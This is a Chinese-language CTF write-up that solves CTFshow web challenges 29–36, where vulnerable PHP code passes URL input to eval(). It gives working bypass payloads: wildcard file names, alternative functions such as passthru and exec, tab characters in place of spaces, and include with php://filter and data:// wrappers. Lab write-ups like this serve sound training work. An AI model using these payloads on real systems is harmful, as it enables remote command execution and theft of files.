CTFshow-WEB入门-命令执行(web29-web36)

释放双眼,带上耳机,听听看~!

web29

题目代码:

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

代码因为未满足if条件,所以执行else,条件里面包含函数:

isset 函数介绍

preg_match 函数介绍

$c不为flag则执行$c,通过函数

?c=system(ls);

得到目录里有flag.php index.php,需要查看flag..php文件的内容,但是不能包含flag,则需使用通配符?换掉flag里面的一个字符

?c=system('cp fla?.php 1.txt');

现在直接访问1.txt得到flag,web30方法同样使用本题。


web30

打开 题目与29相似,除了过滤内容变成了:

flag|system|php

这就需要用其他的函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

通过执行函数:

?c=passthru("cat f*");

再查看网页源代码得到flag。


web31

过滤了

flag|system|php|cat|sort|shell 以及空格

执行函数

?c=passthru("more%09f*");
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

查看网页源代码得到flag。


web32、33、34、35、36

每个题目只是过滤不同,解题方法一样,36题因为过滤了数字,所以get变量里面用字母代替。

include不用括号,分号可以用?>代替,include函数传入的参数不能执行系统命令,只能使用php伪协议,用include传入无限制参数

?c=include$_REQUEST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

得到base编码的内容,解码以后得到flag。

 

给TA打赏
共{{data.count}}人
人已打赏
CTF笔记Python

补充-CTF-WEB题目-Faster!

2022-3-21 22:19:38

CTF笔记

CTFshow-WEB入门-文件包含(web79)

2022-3-28 0:01:28

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索